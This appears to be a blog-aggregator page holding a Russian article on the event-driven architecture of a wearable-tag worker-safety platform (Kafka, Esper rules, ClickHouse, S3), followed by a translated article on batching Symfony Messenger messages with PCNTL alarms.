Пример из жизни Цифрового рабочего на пилоте в нефтянке. Работник залез на стремянку, чтобы затянуть вентиль газовой трубы. Резьба вдруг сорвалась, он не удержался и, упав с высоты 5 метров, от удара потерял сознание. А вентиль при этом открылся, и газ начал поступать в помещение. Но датчики падения и удара, которые встроены в носимое устройство (у него был модуль на каске) передали сигналы на сервер. Там эти два сигнала были обработаны на платформе, и алгоритм выявления внештатных ситуаций сформировал событие-тревогу. Оно было передано оператору, а также другим сотрудникам, которые в тот момент были недалеко от пострадавшего и смогли быстро прийти на помощь.

Архитектура

Когда мы только начинали проектировать Цифровой рабочий, решили пойти по пути Событийно-ориентированной архитектуры. Рассуждали так: всё начинается с носимых устройств, или, как мы их называем, меток. Они, по сути, просто умеют передавать с определённой частотой какую-то телеметрию или, другими словами, информацию об изменении своего внутреннего состояния. И вот это изменение состояния метки и есть входное для системы событие.

Далее, нам нужно уметь обрабатывать поток этих входных событий, причём это должен быть не просто последовательный конвейер, а параллельная обработка разными модулями, которые в процессе работы будут порождать новые события, обрабатываемые другими модулями, и т.д. В итоге какие-то события будут передаваться в UI, чтобы отрисовывать перемещение объектов на карте.

В качестве шины или слоя передачи событий выбрали Apache Kafka. На тот момент Kafka уже зарекомендовала себя как зрелый и надежный продукт (мы начинали с версии 2.0.0). Кроме того, выбирали только среди Open-source решений, чтобы удовлетворить требованиям импортозамещения. А с функциональной точки зрения в Kafkа нам понравилась возможность независимо подключать различных консьюмеров к одному и тому же топику, возможность прочитать события из топика ещё раз за период в прошлом, механизм стриминговой обработки Kafka Streams, ну и, конечно, масштабируемость благодаря партиционированию топиков.

Архитектура системы включает следующие компоненты:

  • Есть различные носимые устройства (метки) и системы позиционирования, которые уже существуют на рынке и которые умеют работать с теми или иными девайсами.

  • Для каждой такой системы позиционирования, с которой мы решили интегрироваться, у нас есть свой модуль Адаптер, который публикует в Kafka события с телеметрией от меток.

  • Далее эти события обрабатываются Транслятором, который выполняет первичную обработку (связывание метки с сотрудником, вычисление геозоны, в которой находится сейчас метка и др.).

  • Модуль Complex Event Processing-а (CEP-процессор) обрабатывает события, которые порождает Транслятор; здесь мы занимаемся выявлением внештатных ситуаций, анализируя различные типы событий, в том числе от разных меток.

  • В UI поступают события как от Транслятора (для отрисовки перемещения сотрудников), так и от CEP-процессора (отображение алертов).

  • Для хранения справочных данных, как то список меток, сотрудников, геозон и пр., используем реляционную БД PostgreSQL.

  • А для хранения данных, по которым строится аналитика ClickHouse.

  • Но в ClickHouse напрямую никто не ходит для этого используется модуль Reports, который выполняет обработку запросов к аналитическим данным (запросы на обновление данных виджетов на аналитической панели в UI, запросы на формирование различных отчётов и др.).

  • И ещё есть файловое хранилище S3, где мы храним файлы 3D-моделей и файлы сформированных отчётов.

Ну а теперь давайте расскажу поподробнее про все модули системы, как они устроены внутри.

Интегрируемся со всеми: адаптеры

Основная задача Адаптера взаимодействие с системой позиционирования через её API для того, чтобы получать информацию о координатах метки и значения встроенных в метку датчиков. Например, заряд аккумулятора, статус нажатия тревожной кнопки, статус датчика падения и неподвижности, температура, влажность, уровень CO2 и др.

Системы позиционирования это не наша разработка, а уже существующие на рынке системы, которые, как правило, умеют взаимодействовать с одним каким-то конкретным девайсом. Мы же, подключая через адаптеры такие системы, получаем возможность использовать в Цифровом рабочем большой ассортимент разных меток.

Хотя для некоторых меток мы всё-таки запилили систему позиционирования сами, когда не удавалось найти существующего решения или хотелось поэкспериментировать. А один из экспериментов привел к тому, кто мы разработали свою метку с креплением на каску:

Ещё одна важная особенность адаптеров это сложность с их масштабированием. Когда меток много, то важно успевать обрабатывать информацию от всех, и решение в лоб поставить несколько адаптеров. Но сделать это не всегда просто, т.к. мы можем упереться в ограничения API системы позиционирования, например, когда адаптер с определённой периодичностью дергает рест-апи и получает статус сразу всех меток.

Поэтому основное требование к адаптеру быть максимально производительным, т.е. получил данные в чужом формате, преобразовал к нашему внутреннему и отправил событие в Kafka. Эти события, которые порождает адаптер, мы называем Сырые.

Сырые события бывают такие:

  • TagMovement перемещение метки, содержит координаты;

  • TagInfo телеметрия со значениями датчиков метки;

  • TagAlert события нажатия тревожной кнопки, события падения и удара.

Разделяй и властвуй: топики Kafka

Отдельно хочу остановиться на топиках.

Для каждого типа события в Цифровом рабочем используется свой отдельный топик. Такой подход позволяет:

  1. Индивидуально настраивать retention для каждого топика. Так, например, для сырых событий ретеншн всего 1 сутки, потому что эти события практически сразу будут обработаны, и хранить их долго не нужно (но 1 сутки всё-таки храним на случай сбоя).

  2. Использовать надстройку над Kafka, которую мы сделали, чтобы модули, которым нужно читать или писать из Kafka, могли просто подписываться на события заданного типа, или просто публиковать события, не задумываясь о топике, который определяется автоматически.

  3. Реализовать автоматическую сборку топологии Kafka Streams процессоров если вкратце, то работает она так:

    3.1. в прикладном модуле нужно объявить процессоры, указав тип входного события и тип выходного;

    3.2. также можно указать, будет ли данный процессор использовать состояние;

    3.3. все процессоры это Spring Bean-ы;

    3.4. при запуске приложения сборщик топологии находит все процессоры и собирает их в граф, стыкуя процессоры так, чтобы тип выхода одного подходил под тип входа другого.

Примерно так выглядит топология процессоров Транслятора, о котором речь пойдет ниже:

Шеф-повар: транслятор

Транслятор это модуль, который готовит сырые события, поступающие от адаптеров. При этом то, какой конкретно адаптер был источником события, на этом этапе обработки уже не важно. Все сырые события одинаковые.

Это, кстати, позволило реализовать адаптер-заглушку, который мы используем для отладки и тестирования. С его помощью можно управлять перемещением сотрудников клавишами на клавиатуре, так как бегать каждый раз по офису с реальной меткой не очень прикольно, хотя с точки зрения физкультуры и полезно.

Внутри Транслятора несколько процессоров на Kafka Streams (см. processor-api), причём многие из них используют состояние.

Kafka Streams предоставляет API для работы с состоянием как с Key-Value таблицей. Тут важно понимать, что для каждого ключа входного события процессора существует свое состояние. Ключ у каждого типа события свой. Например, для события перемещения метки это будет серийный номер метки. Это позволяет выполнять обработку очередного события от какой-то конкретной метки с учетом истории обработки событий от этой же метки.

Транслятор решает следующие задачи:

  • Вычисление географических координат. Дело в том, что координаты, которые приходят в сырых событиях, могут содержать не широту и долготу, а, например, смещение по оси X и Y в метрах относительно внутренней системы координат, системы позиционирования. И помня о том, что Адаптеры должны работать максимально быстро, приведением координат к абсолютным или географическим занимается Транслятор.

  • Связывание метки и сотрудника. Здесь процессор Транслятора обращается к реляционной БД за справочной информацией, чтобы определить, какой именно сотрудник сейчас носит эту метку.

  • Определение остановки сотрудника. Здесь мы смотрим, если новые координаты метки не сильно отличаются от предыдущих в течение некоторого таймаута, то значит, сотрудник остановился.

  • Обнаружение потери сигнала от метки. Тут используем такую штуку, как Punctuator это механизм Kafka Streams, который позволяет с заданной периодичностью просматривать состояния процессора по всем ключам. И логика простая: если нашли состояние, в котором время последних полученных координат позже, чем максимально разрешенное, то значит, сигнала от метки не было давно, и следует считать сигнал потерянным.

  • Ещё есть процессоры, которые работают с геозонами. Суть в том, что вся территория и здания размечаются на геозоны. Например, Корпус Альфа, который, в свою очередь, разделяется на геозоны этажей, а каждый этаж на коридоры и кабинеты. И есть процессор, который определяет, что координаты метки попали внутрь той или иной геозоны, а другой процессор выполняет подсчёт количества сотрудников внутри геозон.

События, которые создаются в результате работы Транслятора, мы называем бизнес-события, потому что:

  • эти события уже представляют интерес для пользователей системы события перемещения сотрудников передаются в UI для отрисовки их на карте; также в UI отображается телеметрия метки, которая уже ассоциирована с определённым сотрудником;

  • почти все бизнес-события сохраняются в аналитическую БД;

  • многие бизнес-события используются для выявления внештатных ситуаций;

  • и ещё эти события мы храним в Kafka долго (1 месяц) для того, чтобы иметь возможность воспроизвести их и посмотреть, что происходило в определённый интервал времени в прошлом.

Спасительный кэш при потоковой обработке

Когда мы начали проводить нагрузочное тестирование, то оказалось, что транслятор сильно тормозит, и связано это было с тем, что многие его процессоры при обработке каждого события ходили в БД за справочной информацией. Естественным решением проблемы было кэширование доступа к БД. Но кэш нужен был не совсем уж простой, т.к. информация в справочниках хоть и меняется редко, но всё равно это может произойти в процессе работы. Например, сотрудник потерял метку, и ему выдали другую.

И, кроме того, некоторые процессоры в результате работы могут обновлять какие-то данные в БД. Поэтому нужен был кэш, который будет:

  • обновляться с некоторой периодичностью;

  • периодически сливать изменения в БД.

Также нужно было иметь в виду, что Трансляторы мы точно будет запускать в несколько экземпляров, чтобы масштабировать на нагрузку. И при этом всем нодам Транслятора должен быть доступен одинаковый кэш. Т.е. запаздывание при чтении справочников из БД не страшны, но если в ходе обработки сообщений какой-то процессор меняет значение в кэше, то это новое значение должно быть сразу же доступно всем нодам Транслятора.

Мы сделали выбор в пользу Hazelcast-а, потому что:

  • Его достаточно легко использовать это просто библиотека, которую вы подключаете в проект.

  • Кэши Hazelcast-а автоматически синхронизируются на всех нодах. Но тут нужно быть осторожным если не ограничить область видимости кэша через задание имени группы (в конфиге экземпляра Hazelcast-а), то он может незаметно для вас реплицироваться в каком-нибудь ещё модуле, где вы тоже решили использовать Hazelcast. Т.е. в нашем случае, все кэши, которые нужны Трансляторам и только им, объединены в группу translator.

После добавления кэширования производительность Транслятора выросла на несколько порядков! Цифры получились такие: одна нода, которой выделены ресурсы, эквивалентные инстансу t4g.micro в облаке Amazon EC2 (2CPU + 2Gb), обрабатывала без задержки до 500 входящих сырых событий в секунду. 500 кажется не много, но метки разных производителей передают данные с разной частотой от 3 событий в минуту до 5 событий в секунду. И высокопроизводительные метки, которые дают большую точность, могут использоваться не на всей территории объекта. Таким образом, в худшем случае одна нода Транслятора выдерживает нагрузку от 100 меток, а в лучшем от 10 тысяч.

Высоко сижу далеко гляжу: отображение объектов на карте

UI состоит из двух частей серверная часть и клиент.

Серверная часть подписывается на определённые бизнес-события, в первую очередь события перемещения сотрудников. Эти события через WebSocket передаются на клиента, но предварительно выполняется:

  • фильтрация каждому клиенту отправляются только те события, которые относятся к текущей выбранной оператором геозоне, т.е. если оператор выбрал, например, 7 этаж, то клиент будет получать события только по этому этажу;

  • редукция событий события накапливаются в буфере и отправляются на клиента 1 раз в секунду.

Это нужно для того, чтобы снизить нагрузку на клиента.

Клиентская часть это web-приложение на React-е. Основную рабочую область UI занимает карта с 3D-моделями зданий, которые можно посмотреть в разрезе провалиться на любой этаж и увидеть, что там происходит. Для отрисовки 3D-моделей мы используем библиотеку CesiumJS.

Complex Event Processing

Термин Complex Event Processing (CEP) придумал профессор Стенфордского университета David Luckham. Вкратце определение звучит так: Complex Event Processing это обработка потока различных событий в реальном времени с целью выявления паттернов значимых событий. Ещё часто CEP сравнивают с ESP (Event Stream Processing). И здесь David Luckham выделяет следующие отличия между ними:

ESP это обработка упорядоченного потока события одного типа, которая выполняется, как правило, с целью фильтрации, трансформации событий и/или выполнения над потоком событий каких-либо математических операций, в том числе, агрегация и группировка.

CEP это обработка нескольких потоков различных событий, причём не обязательно упорядоченных (т.е. допускается нарушение порядка поступления событий в сравнении с порядком их возникновения), которая выполняется внутри некоторого окна (временного, например) с учетом причинно-следственной связи между различными событиями.

Например, обработка событий от термометра с целью управления кондиционером (температура стала ниже порога включили обогрев, и наоборот) это ESP. А вот обработка событий от термометра и одновременно от датчика освещённости в течение суток позволяет сделать вывод, что на улице зима.

Но в тоже время, в одной из своих статей David Luckham с коллегой, видя, что современные инструменты Event Stream Processing-а всё больше и больше приобретают возможности CEP-инструментов, делают вывод, что со временем разница между ними будет стерта (см. The Future of Event Stream Analytics and CEP).

CEP-процессор

Давайте перейдем от теории к практике!

Как вы уже поняли, в Цифровом рабочем именно модуль CEP-процессор выполняет сложную обработку событий, которыми в контексте нашей системы являются внештатные ситуации, такие как:

  • Вход сотрудника в геозону, имеющую в данный момент статус опасная.

  • Пульс выше или ниже нормы.

  • Срабатывание двух из трех датчиков: падение/удар/неподвижность (заставлять реагировать оператора на единичный сигнал падения неправильно, т.к. метка просто могла упасть, но, если в течение небольшого промежутка времени пришло сразу несколько таких сигналов, то регистрируется внештатная ситуация).

В качестве CEP-движка мы используем Open-source библеотеку Esper, которую с 2006 года разрабатывает компания EsperTech.

Esper мы выбрали по следующим соображениям:

  • Описание паттернов сложных событий (или правил) выполняется на языке Event Processing Language (EPL), который является расширением стандарта SQL-92; соответственно, правила описываются в декларативном виде, а нам очень хотелось, чтобы эти правила могли понимать не только программисты, но и, например, аналитики (хотя, если правило действительно сложное, то без подготовки его будет трудно понять).

  • Esper мощный инструмент, и достаточно сложные паттерны можно описать в несколько строк на EPL.

  • Есть интеграция с Kafka, которая позволяет описывать правила, оперируя событиями, потребляемыми из Kafka, а результат работы правила также оформлять в виде события и публиковать в Kafka.

Пример реализации правила на Esper-е

Давайте рассмотрим небольшую задачу и её решение на Esper-е. В КРОКе есть свой ЦОД и газотурбинные генераторы, которые используются как резервный источник питания. Эти штуки нужно периодически запускать, но оставлять их включёнными без присмотра надолго нельзя. Предположим, что сотрудник, который их обслуживает, не всегда соблюдает регламент и может отлучиться на более продолжительное время, чем это разрешено.

Задача: если оборудование включено, и в помещении, где оно расположено, нет ни одного сотрудника больше 10 минут, то необходимо сформировать событие-тревогу.

Для отладки решения будем использовать Esper Notebook, в котором можно описать правило на EPL-е и сценарий с входными данными.

Чтобы Esper Notebook понял, что текст это правило, в самом начале нужно написать ключевое слово %esperepl.

Далее, нужно определить схемы или таблицы, строки которых будут представлять входные события, в потоке которых мы будем искать интересующий нас паттерн:

@Description('Кол-во людей в геозоне')create schema PersonsInZone(zoneId string, number int);@Description('Статус устройства (вкл / выкл)')create schema DeviceStatus(deviceId string, zoneId string, turnedOn bool);

Нас интересует, что происходит, когда оборудование включено, поэтому определим контекст, который откроется при включении оборудования, и закроется при его выключении. При этом, для каждой единицы оборудования будет свой собственный контекст:

create context TurnerOnDeviceContext    partition by deviceId from DeviceStatus    initiated by DeviceStatus(turnedOn = true)    terminated by DeviceStatus(turnedOn = false);

Контекст это своего рода окно, в рамках которого мы будет наблюдать входящие события.

// для выражения можно задать имя, чтобы видеть его в логах@Name('Unattended device')// указывая контекст, мы говорим, чтобы данное выражение// выполнялось только для событий из контекстаcontext TurnerOnDeviceContextselect    ds.zoneId,    ds.deviceIdfrom    // в качестве источника событий задаем шаблон,    // который словами можно сформулировать так:    // Устройство включили  потом Все ушли  потом (Прошло 10 минут И Никто не вернулся)    pattern [        ds = DeviceStatus(turnedOn = true)        -> every (            PersonsInZone(zoneId = ds.zoneId and number = 0)            -> (timer:interval(10 minutes)                    and not PersonsInZone(zoneId = ds.zoneId and number > 0)               )        )    ];

Здесь ещё используется ключевое слово every, которое нужно для того, чтобы следующая за ним часть шаблона продолжала находиться даже после того, как один раз целый шаблон уже был найден.

Например, если сотрудник включил генератор, потом ушел, и прошло больше 10 минут, сработает правило, и мы пошлем нотификацию оператору, тот позвонит сотруднику, отругает его, и тот вернется. Но генератор сотрудник так и не выключит, поработает с ним ещё какое то время и, опять всё забыв, снова уйдет больше, чем на 10 минут.

Таким образом, мы получим ситуацию, когда часть шаблона Все ушли ("Прошло 10 минут И Никто не вернулся) будет найден снова, в то время, как первая часть Устройство включили уже была найдена ранее. И, чтобы целый шаблон найти ещё раз, нужно написать every перед второй его чатью.

Теперь нам нужно протестировать наше правило. Для этого используется сценарий (начинается с ключевого слова %esperscenario), в котором можно публиковать входные события, увеличивая текущее время сценария:

%esperscenario// задаем начальное времяt = 2020-12-10 12:00:00.000// публикуем событие в помещение A вошёл 1 сотрудникPersonsInZone = {zoneId=room-A, number=1}// через 1 минуту включаем генератор 1 в помещении Аt = t.plus(1 minute)DeviceStatus = {deviceId=generator-1, zoneId=room-A, turnedOn=true}// через 4 часа сотрудник вышел из помещения А, не выключив генераторt = t.plus(4 hours)PersonsInZone = {zoneId=room-A, number=0}// прошло ещё 10 минут  и должно сработать наше правило!t = t.plus(10 minute)

Если в правиле сработает какое-то выражение, то в блоке сценария мы должны увидеть его вывод. В нашем случае выражение это select, а вывод будет такой:

Unattended device-output={ds.zoneId='room-A', ds.deviceId='generator-1'}

Вот ещё один пример сценария, посложнее:

%esperscenariot = 2020-12-10 12:00:00.000// сотрудник вошёл в помещение АPersonsInZone = {zoneId=room-A, number=1}// через 1 минуту включил генератор 1t = t.plus(1 minute)DeviceStatus = {deviceId=generator-1, zoneId=room-A, turnedOn=true}// через 30 минут вышел, не выключив генераторt = t.plus(30 minutes)PersonsInZone = {zoneId=room-A, number=0}// но через 5 минут вернулсяt = t.plus(5 minute)PersonsInZone = {zoneId=room-A, number=1}// прошло ещё 5 минут  тревоги не должно быть, сотрудник ведь вернулсяt = t.plus(5 minute)// ещё через 3 часа ушёл, а генератор всё также остался включённымt = t.plus(3 hour)PersonsInZone = {zoneId=room-A, number=0}// через 10 минут  тревога!t = t.plus(10 minute)

Этот же пример, но с полноценной интеграцией с Kafka, который можно собрать и запустить, доступен по ссылке digital-worker-architecture.

В двух словах, его отличие в том, что нужно:

  1. настроить движок Esper-а подключить к нему плагины для взаимодействия с Kafka;

  2. зарегистрировать типы классов, которые будут представлять события в Kafka, и десериализатор для них.

И тогда при описании правил можно уже не создавать схемы событий, а использовать имена классов событий. А результат работы выражений (select-ов) оборачивать в создание выходных событий, которые публиковать в соответствующие топики Kafka.

Всех посчитали: регистрация внештатных ситуаций

CEP-процессор при срабатывании правил делает следующее:

  • Регистрирует внештатную ситуацию в журнале событий. Мы предполагаем, что события в этот журнал не должны попадать часто, но если уж попали, то требуется их явная обработка оператором (написать резолюцию, закрыть событие).

  • Формирует событие-нотификацию, которое, как и все остальные события в Цифровом рабочем, публикуются в свой топик в Kafka. На этот топик подписан модуль Нотификаций, который выполняет их маршрутизацию. В результате нотификация передается в UI (оператор видит уведомление) или конкретному сотруднику через тот канал, который для него определён (например, на почту, в Telegram или на метку, которую носит сотрудник, если она поддерживает обратный канал).

Летим по приборам: аналитика

Аналитика доступна оператору в виде панели инструментов, на которую он может вынести интересующие его виджеты, и в виде механизма формирования отчётов.

Виджеты это те же отчёты, у которых есть какие-то свои входные параметры, но результат выводится не в Excel или PDF-файл, а в виде графика или диаграммы. Еще виджеты обновляются раз в 15 секунд, что позволяет оператору видеть актуальные на текущий момент времени данные.

Также существуют отчёты со специализированным отображением информации непосредственно на карте (тепловая карта и маршруты):

Данные, по которым строится аналитика, хранятся в БД ClickHouse. Но прежде, чем попасть в ClickHouse, они проходят дополнительную обработку в модуле Подготовки данных. А, чтобы достать эти данные из БД и передать потребителю (в данном случае, в UI), используется модуль Формирования отчётов.

ClickHouse

К аналитической БД у нас были следующие требования:

  • нужно уметь хранить очень много данных. Наши данные это события, у которых есть ключ и временная метка;

  • нужно быстро выполнять запросы с условием С ПО, т.е. за определённый период времени.

Когда мы выбирали БД, то понимали, что здесь точно нужна не реляционка, а, скорее, NoSql, которая умеет линейно масштабироваться и обеспечивает отказоустойчивость. На момент проектирования Цифрового рабочего у нас был опыт применения NoSql БД Cassandra, но ClickHouse был на слуху и, изучив документацию и посмотрев несколько презентаций от ребят, которые уже успешно используют его в проде, мы тоже решили попробовать.

Из особенностей ClickHouse мы для себя выделили следующие:

  • Это колоночная БД наши события имеют много атрибутов, которые удобно разложить по колонкам.

  • Хорошо подходит для Time-serias данных ClickHouse может партиционировать таблицу по ключу, который является функцией от временной метки события, что позволяет хранить в общей партиции все события полученные, например, за один и тот же день. А это позволяет эффективно выполнять запросы, у которых задан период времени (сперва будут выбраны только нужные партиции, а уже потом только по ним выполняется остальная часть запроса).

  • Есть встроенная интеграция с Kafka ClickHouse напрямую из Kafka умеет загружать данные в таблицы, при этом можно дополнительно выполнять обработку данных непосредственно в момент их загрузки.

  • Есть возможность подключить внешнюю реляционную БД мы подключаем справочники, которые храним в PostgreSql, после чего их можно использовать как обычные таблицы в Sql-выражениях.

  • Богатый набор встроенных аналитических функций например, для формирования Тепловой карты мы используем функцию Квантиль. А ещё мне очень нравится работа с массивами в ClickHouse можно джойнить элементы колонки-массива одной таблицы со строками другой таблицы или трансформировать строки таблицы в колонку-массив.

  • Масштабируемая и отказоустойчивая чем больше нод базы поднимете, тем больше данных можно будет хранить. Плюс есть встроенный механизм сжатия данных.

Что касается схемы БД, то она устроена примерно так:

  • Есть таблицы, которые содержат данные в более или менее исходном виде, т.е. в том, в котором поступают события из Kafka. Эти таблицы используются для формирования большинства отчётов.

  • Но также есть специализированные таблицы, которые хранят данные в ином виде, удобном для формирования каких-то конкретных отчётов.

  • И придерживаемся принципа: данные в БД готовим исходя из сценария их использования (какие именно запросы будем выполнять к БД и с какими условиями фильтрации).

Подготовка данных

Подготовка данных выполняется, по большому счёту, для того, чтобы сделать максимально больше работы заранее, а не в тот момент, когда придет запрос в ClickHouse для формирования отчёта.

Модуль подготовки данных это Kafka Streams приложение, которое обрабатывает бизнес-события и выполняет следующие действия:

  • фильтрация бизнес-событий может быть очень много (например, события перемещения сотрудника), а для некоторых отчётов все они не нужны, и их можно проредить;

  • денормализация и обогащение чтобы при формировании отчёта лишний раз не выполнять join-ы, здесь мы заранее собираем все необходимые данные, например, по ИД сотрудника получаем его ФИО и название должностной позиции;

  • форматирование приведение дат к нужному формату, форматирование дробных чисел, локализация текста и т.п.

Формирование отчётов

Для того, чтобы получить отчёт, заказчик отчёта отправляет в топик Kafka report-request событие-запрос. Здесь мы отходим от принципа один тип события один топик для каждого конкретного отчёта существует свой тип события, который содержит специфичные для данного отчёта параметры. Но при этом все они унаследованы от базового класса ReportRequest.

Эти ReportRequest-ы обрабатывает модуль формирования отчётов:

  • по типу запроса определяется генератор запроса;

  • генератор формирует специфичный для отчёта SQL-запрос в ClickHouse, и, при необходимости, выполняет дополнительную обработку результата SQL-запроса уже на стороне java-кода;

  • результат работы генератора, если нужно, преобразуется в Excel или Pdf файл, который сохраняется в файловое хранилище;

  • создается событие-ответ, унаследованное от базового ReportResponse-а, которое содержит данные отчёта или ссылку на файл в хранилище.

  • в событие-ответ добавляется информация о событии-запросе, чтобы заказчик отчёта мог связать ответ с ранее отправленных запросов, после чего оно публикуется в топик report-response.

Мы выбрали такую схему формирования отчётов, потому что:

  • хотели сделать запрос отчётов асинхронным, чтобы не блокировать заказчика отчёта, пока тот формируется (обычно отчёты формируются быстро, но если задать очень большой временной интервал, за который нужно получить данные, то придется подождать);

  • хотели предоставить возможность формировать отчёты любым клиентам, у которых будет доступ к соответствующим топикам Kafka; это могут быть как модули Цифрового рабочего, так и внешние системы, с которыми мы интегрируемся;

  • использование Kafka автоматически позволяет масштабировать модули формирования просто поднимаем несколько узлов и получаем балансировку нагрузки (каждый узел обрабатывает свои партиции топика report-request).

Файловое хранилище

Изначально мы не очень понимали, какой именно интерфейс файлового хранилища нам подойдет, но было понятно, что нужно уметь хранить в нем:

  • 3D-модели зданий, которые загружаются на клиента при отрисовке карты.

  • Сформированные отчёты.

  • Возможно, какой-то ещё статический контент.

Сначала выбрали Apache Sling. Это контент-система, которая хранит данные в иерархической структуре и позволяет обращаться к файлам по URL-у, в котором отражен путь до соответствующего узла в иерархии. С точки зрения работы клиента, Sling довольно удобное решение просто загружаешь файл по URL-у напрямую. Со стороны backend-а тоже особо проблем не было java-api довольно простой.

Но через некоторое время мы столкнулись с тем, что Sling начал тормозить и тем сильнее, чем больше файлов в нем хранилось. Оказалось, для нашего случая с получением списка всех отчётов, которые сформировал пользователь, мы заставляли Sling обходить какой-то кусок его иерархии файлов и вычитывать каждый файл, чтобы посчитать его размер. Варианты, как это оптимизировать, виделись такие:

  • Научиться получать большой список файлов из Sling-а так, чтобы не вычитывать каждый файл всякий раз для получения его размера;

  • Попробовать другое хранилище.

Мы пошли сразу двумя путями, и второй путь оказался пройден быстрее, а также давал ещё другие преимущества.

Заменили Sling на S3. У него не было проблем с получением большого списка файлов, а как бонус мы перестали поднимать свое файловое хранилище на стендах, а стали использовать S3, поднятое в облаке КРОК. Т.е. немного упростили процесс развертывания системы.

Как это было: потоки событий и воспроизведение истории

Если посмотреть на все модули системы вместе, то можно связать их потоками событий, которые протекают между ними:

Потоки событий, которые приходят в UI, используются для отображения перемещения сотрудников, отрисовки статуса геозон, вывода предупреждений и другой информации, которая отражает состояние дел в текущий момент времени. Но когда происходит внештатная ситуация, то бывает очень полезно посмотреть, а что происходило в тот момент, когда эта ситуация возникла, и за некоторое время до неё.

Для этого в Цифровом рабочем используется механизм воспроизведения истории, где оператор может задать период времени в прошлом, и система начнет воспроизводить перемещения сотрудников и прочую информацию, как если бы это происходило сейчас. При этом оператор может изменять скорость воспроизведения.

Этот механизм реализован следующим образом:

  • UI подписывается на нужные ему события с помощью нашего KafkaConsumer-а, который инкапсулирует взаимодействие с Kafka и имеет два режима работы: REAL_TIME и PAST_TIME.

  • Если включен режим REAL_TIME, то KafkaConsumer просто передает события, которые в данный момент поступают в топики Kafka.

  • А когда включен режим PAST_TIME (при его включении необходимо задать период времени в прошлом), то KafkaConsumer вычитывает события из топиков, начиная с offset-а, соответствующего началу периода, и заканчивая offset-ом конца периода. При этом KafkaConsumer делает задержки между событиями, чтобы передавать их потребителю с тем же темпом, с которым они поступали в реальном времени.

Плюсы этого решения такие:

  • для истории не нужно отдельного хранилища вся история хранится в Kafka; при этом retention можно задавать большим только для тех топиков, которые нужны для воспроизведения истории;

  • KafkaConsumer с двумя режимами работы обеспечивает прозрачность для потребителя, основная логика которого никак не зависит от выбранного режима.

Но есть и минус: в начальный момент времени периода в прошлом мы не можем получить полное состояние системы. Предположим, в 12:00 в кабинет вошло 10 сотрудников, а к 13:00 у половины из них сел аккумулятор метки, и она перестала передавать события со своим местоположением. Тогда воспроизводя историю с 13:00, мы увидим в этом кабинете только 5 сотрудников, у которых метки продолжили работать, т.к. только от этих меток в топиках будут события, начиная с 13:00.

Я подозреваю, что решить эту проблему только на базе Kafka не получится. Но сейчас текущее решение удовлетворяет нашим потребностям, поэтому мы его не трогаем. А как вариант на будущее, можно будет перенести хранение истории в ClickHouse и сделать Consumer, который будет для REAL_TIME-режима ходить в Kafka, а для PAST_TIME в ClickHouse.

А что у вас?

Несмотря на то, что Цифровой рабочий уже много чего умеет, продукт продолжает развиваться. Мы постоянно пилим какие-то новые фичи, подключаем новые системы позиционирования, что-то переделываем и оптимизируем, экспериментируем с разными технологиями потоковой обработки, прикручиваем ML (вот здесь, например, о том, что сделали интеграцию с системой видеоаналитики). В общем, куча идей и планов на будущее!

Было бы интересно услышать в комментариях, разрабатываете ли вы что-то подобное, например, в области IoT с потоковой обработкой данных, какие технологии применяете и как?

И, кстати, вот: Оцифровка рабочего в режиме реального времени - мой доклад на SmartData conf.

Подробнее..

Перевод Symfony Messenger объединение сообщений в пакеты

01.06.2021 18:16:36 | Автор: admin

Иногда требуется сделать так, чтобы сообщения в Symfony Messenger отправлялись потребителю пакетами, а не поодиночке. Недавно нам потребовалось отправлять через Messenger обновленные строки текста из наших программ поставщику переводческих услуг.

Но из-за жесткого ограничения на интенсивность передачи данных со стороны переводческой фирмы мы не можем отправлять сообщения по одному. Следовательно, необходимо реализовать следующий алгоритм отправки: сперва сохранять все полученные сообщения, предназначенные данному потребителю, а затем отправлять все сообщения, если время ожидания новых сообщений превысило десять секунд или если сохранено более 100 сообщений.

Покажем, как мы это сделали:

// Symfony Messenger Message:class TranslationUpdate{    public function __construct(        public string $locale,        public string $key,        public string $value,    ) {    }}
class TranslationUpdateHandler implements MessageHandlerInterface{    private const BUFFER_TIMER = 10; // in seconds    private const BUFFER_LIMIT = 100;    private array $buffer = [];    public function __construct(        private MessageBusInterface $messageBus,    ) {        pcntl_async_signals(true);        pcntl_signal(SIGALRM, \Closure::fromCallable([$this, 'batchBuffer']));    }    public function __invoke(TranslationUpdate $message): void    {        $this->buffer[] = $message;        if (\count($this->buffer) >= self::BUFFER_LIMIT) {            $this->batchBuffer();        } else {            pcntl_alarm(self::BUFFER_TIMER);        }    }    private function batchBuffer(): void    {        if (0 === \count($this->buffer)) {            return;        }        $translationBatch = new TranslationBatch($this->buffer);        $this->messageBus->dispatch($translationBatch);        $this->buffer = [];    }}

Здесь мы имеем дело с сообщением Messenger, которое отправляется каждый раз, когда у нас появляется обновленный текст на перевод (тот же принцип можно применить и к любым другим сообщениям).

Наш обработчик сообщений будет получать все сообщения и помещать их в буфер, представляющий собой массив. Если количество элементов в буфере достигает 100 или если не появляется новых элементов в течение десяти секунд, срабатывает метод batchBuffer.

Для реализации десятисекундного таймера мы используем функцию pcntl_alarm, которая позволяет асинхронно вызывать метод batchBuffer по мере необходимости.

Для обработки системных сигналов в нашем PHP-коде мы используем функции PCNTL (прочитать о них подробнее можно в документации PHP, а также в нашем блоге, если владеете французским). Мы установили таймер, который будет посылать процессу сигнал SIGALRM через заданное количество секунд. Затем, когда сигнал будет принят процессом, запустится функция обратного вызова, которую мы указали в качестве второго аргумента pcntl_signal. Обратный вызов установлен для всего приложения, поэтому мы можем использовать этот трюк с объединением сообщений в пакеты только один раз.

Затем в методе batchBuffer мы используем новую передачу в Messenger (см. вызов dispatch), чтобы отслеживать сообщения на случай возникновения проблем, а поскольку метод реализован через PCNTL, компонент Messenger не будет повторять попытку обработки при исключении.

class TranslationBatch{    /**     * @param TranslationUpdate[] $notifications     */    public function __construct(        private array $notifications,    ) {    }}
class TranslationBatchHandler implements MessageHandlerInterface{    public function __invoke(TranslationBatch $message): void    {      // handle all our messages    }}

Итак, теперь у нас есть обработчик пакетов, который всегда будет получать список сообщений для отправки. С его помощью мы можем легко объединять наши сообщения Messenger в пакеты, не прибегая к использованию cron.

Дополнение. Этот подход всего лишь доказательство концепции. Если вы хотите применить его в рабочей среде, рекомендую использовать более устойчивое хранилище для реализации буфера, такое как Redis.


Перевод материала подготовлен в рамках курса "Symfony Framework". Всех желающих приглашаем на двухдневный онлайн-интенсив Создание системы статистики для онлайн-магазина. На интенсиве мы:
